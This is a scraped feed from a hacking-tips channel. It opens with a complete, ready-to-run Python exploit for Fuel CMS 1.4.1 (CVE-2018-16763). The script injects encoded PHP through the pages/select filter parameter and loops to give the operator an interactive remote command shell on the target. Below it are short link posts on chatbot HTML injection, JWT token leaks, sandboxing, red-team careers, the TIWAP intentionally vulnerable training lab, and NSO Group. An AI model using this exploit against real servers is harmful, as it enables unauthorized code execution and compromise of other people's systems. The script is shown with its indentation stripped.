Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Fuel CMS 1.4.1 Remote Code Execution

https://4.bp.blogspot.com/-qWHV3SrNBkU/WWlu99WsXjI/AAAAAAAAIJ4/a1ff3k5st1g65kjfNuwTJpgcbLEB4bHEACLcBGAs/s1600/h116.png
Fuel CMS version 1.4.1 remote code execution exploit. Original discovery of remote code execution in this version is attributed to 0xd0ff9 in July of 2019.

MD5 | 6a8c2227f6944f30e13fa688f24841fe

Download
# Exploit Title: Fuel CMS 1.4.1 - Remote Code Execution (3)
# Exploit Author: Padsala Trushal
# Date: 2021-11-03
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <=
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763

#!/usr/bin/python3

import requests
from urllib.parse import quote
import argparse
import sys
from colorama import Fore, Style

def get_arguments():
parser = argparse.ArgumentParser(description='fuel cms fuel CMS 1.4.1 - Remote Code Execution Exploit',usage=f'python3 {sys.argv[0]} -u <url',epilog=f'EXAMPLE - python3 {sys.argv[0]} -u http://10.10.21.74')

parser.add_argument('-v','--version',action='version',version='1.2',help='show the version of exploit')

parser.add_argument('-u','--url',metavar='url',dest='url',help='Enter the url')

args = parser.parse_args()

if len(sys.argv)
parser.print_usage()
sys.exit()

return args
args = get_arguments()
url = args.url

if "http" not in url:
sys.stderr.write("Enter vaild url")
sys.exit()

try:
r = requests.get(url)
if r.status_code == 200:
print(Style.BRIGHT+Fore.GREEN+"[+]Connecting..."+Style.RESET_ALL)
except requests.ConnectionError:
print(Style.BRIGHT+Fore.RED+"Can't connect to url"+Style.RESET_ALL)
sys.exit()

while True:
cmd = input(Style.BRIGHT+Fore.YELLOW+"Enter Command $"+Style.RESET_ALL)

main_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+quote(cmd)+"%27%29%2b%27"

r = requests.get(main_url)

#
output = r.text.split('
')
print(output[0])
if cmd == "exit":
break
</code>

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Fuel CMS 1.4.1 Remote Code Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

5 viewsedited 18:25

Hacking Articles Tips Tricks Videos Tutorials

HTML injection on chatbot
https://medium.com/@manishadhikari096/html-injection-on-chatbot-e5b86cd961d0?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

HTML injection on chatbot😋😋

Hello everyone, my name is mundre as this is not my real name somebody has given this name to me and i loved it😁😎

4 viewsedited 18:41

Hacking Articles Tips Tricks Videos Tutorials

4 views18:41

Hacking Articles Tips Tricks Videos Tutorials

Hello everyone, my name is mundre as this is not my real name somebody has given this name to me and i loved it😁😎Continue reading on Medium » (https://medium.com/@manishadhikari096/html-injection-on-chatbot-e5b86cd961d0?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

HTML injection on chatbot😋😋

Hello everyone, my name is mundre as this is not my real name somebody has given this name to me and i loved it😁😎

4 viewsedited 18:41

Hacking Articles Tips Tricks Videos Tutorials

HacktoberFest2k21 vulnerability: How users metadata can be changed via Auth JWT tokens leaking from…
https://medium.com/@varmaanu001/hacktoberfest2k21-vulnerability-how-users-metadata-can-be-changed-via-auth-jwt-tokens-leaking-from-3028f8ad6991?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

HacktoberFest2k21 vulnerability: How users metadata can be changed via Auth JWT tokens leaking from…

Hello Awesome readers 👨‍💻✌✌,

4 viewsedited 18:42

Hacking Articles Tips Tricks Videos Tutorials

4 views18:42

Hacking Articles Tips Tricks Videos Tutorials

Hello Awesome readers 👨‍💻✌✌,Continue reading on Medium » (https://medium.com/@varmaanu001/hacktoberfest2k21-vulnerability-how-users-metadata-can-be-changed-via-auth-jwt-tokens-leaking-from-3028f8ad6991?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium

HacktoberFest2k21 vulnerability: How users metadata can be changed via Auth JWT tokens leaking from…

Hello Awesome readers 👨‍💻✌✌,

4 viewsedited 18:42

Hacking Articles Tips Tricks Videos Tutorials

4 views19:12

Hacking Articles Tips Tricks Videos Tutorials

Photo

Dark Reading: Attacks/Breaches
Is Sandboxing Dead?

Organizations should start to evaluate other security measures to replace or complement the once-venerable security sandbox.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

Is Sandboxing Dead?

Organizations should start to evaluate other security measures to replace or complement the once-venerated security sandbox.

5 viewsedited 19:12

Hacking Articles Tips Tricks Videos Tutorials

A question for red teamers
https://www.reddit.com/r/redteamsec/comments/qm1t1t/a_question_for_red_teamers/

If I don't enjoy learning about Windows AD and network service enumeration and I am more driven by exploit dev and reverse engineering, should I aspire to be a red teamer? submitted by /u/ir0nIVI4n01 (https://www.reddit.com/user/ir0nIVI4n01)
[link] (https://www.reddit.com/r/redteamsec/comments/qm1t1t/a_question_for_red_teamers/) [comments] (https://www.reddit.com/r/redteamsec/comments/qm1t1t/a_question_for_red_teamers/)

___________________________
@hacking_Attack
@Hacking_Video

r/redteamsec on Reddit: A question for red teamers

Posted by u/ir0nIVI4n01 - 8 votes and 21 comments

6 viewsedited 19:17

Hacking Articles Tips Tricks Videos Tutorials

HacktoberFest2k21 vulnerability: How users metadata can be changed via Auth JWT tokens leaking from…

Hello Awesome readers 👨‍💻✌✌,Continue reading on Medium »
Read more...

5 views20:46

Hacking Articles Tips Tricks Videos Tutorials

HTML injection on chatbot

Hello everyone, my name is mundre as this is not my real name somebody has given this name to me and i loved it😁😎Continue reading on Medium »
Read more...

7 views20:46

Hacking Articles Tips Tricks Videos Tutorials

TIWAP - Totally Insecure Web Application Project

TIWAP is a web security testing lab made using Flask for budding security enthusiasts to learn about various web vulnerabilities. Inspired by DVWA, the contributors have tried their best to regenerate various web vulnerabilities The application is solely made for educational purpose and to learn web hacking in a legal environment.Disclaimer We highly recommend installing the lab on a Virtual Machine instead of a live web server (Internal or External). We do not take responsibility for the way in which anyone uses this application (TIWAP). The application has been made for educational purpose only and should not be used maliciously. If your web servers are compromised due to installation of this application, it is not our responsibility, it is the responsibility of the person/s who uploaded and installed it. Setup and Installation To keep the installation and setup easy, we have configured everything for you. All you need is Docker on your system. Once you are done with docker installation, run the following commands. git clone https://github.com/tombstoneghost/TIWAP cd TIWAP docker-compose up Note: It works only on Linux as of now and windows compatibility is work under progress Once the lab is started, you can log in using the default credentials. Username: admin Password: admin Tech Stack Front-End: HTML, CSS and JavaScript Back-End: Python - Flask Databases: SQLite3 and MongoDB Vulnerabilities Currently, we have 20 vulnerabilities in the lab. All listed below: SQL Injection Blind SQL Injection NoSQL Injection Command Injection Business Logic Flaw Sensitive Data Exposure XML External Entities Security Misconfiguration Reflected XSS Stored XSS DOM Based XSS HTML Injection Improper Certificate Validation Hardcoded Credentials Insecure File Upload Brute Force Directory Traversal Cross-Site Request Forgery (CSRF) Server-Side Request Forgery (SSRF) Server-Side Template Injection (SSTI) Each vulnerability is having 3 difficulty levels, namely Low, Medium and Hard. These levels can be set from the settings page. Bugs and Issues If you find any bugs or issues with the project, kindly raise the same on the below link. https://github.com/tombstoneghost/TIWAP/issues Contributors Simardeep Singh - LinkedIn | Twitter Yash Giri - LinkedIn Sakshi Aggarwal - LinkedIn | Twitter Want to be a contributor? Star this repository Fork this repository Clone the forked repository Navigate to the project directory Create a new branch with your name Make changes Stage your changes and commit Push your local changes to remote Create a Pull Request Congratulations! You did it. License This project is under the MIT License - Click here for details. Happy Hacking! :) Download TIWAP
Read more...

___________________________
@hacking_Attack
@Hacking_Video

GitHub

GitHub - tombstoneghost/TIWAP: Totally Insecure Web Application Project (TIWAP)

Totally Insecure Web Application Project (TIWAP). Contribute to tombstoneghost/TIWAP development by creating an account on GitHub.

9 viewsedited 21:18

Hacking Articles Tips Tricks Videos Tutorials

5 views21:34

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
U.S. Blacklists Israeli Hacking Tool Vendor NSO Group

https://external-preview.redd.it/I8QU-gMI5WLkBFdMj6wmFnpJ8QE_QbtngoqzaJtWcL0.jpg?width=640&crop=smart&auto=webp&s=5b42aa8456d1018f93ecfc25c3866214e3f34961 submitted by /u/Motor-Ad-8858
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

U.S. Blacklists Israeli Hacking Tool Vendor NSO Group

Posted in r/hacking by u/Motor-Ad-8858 • 7 points and 0 comments

5 viewsedited 21:34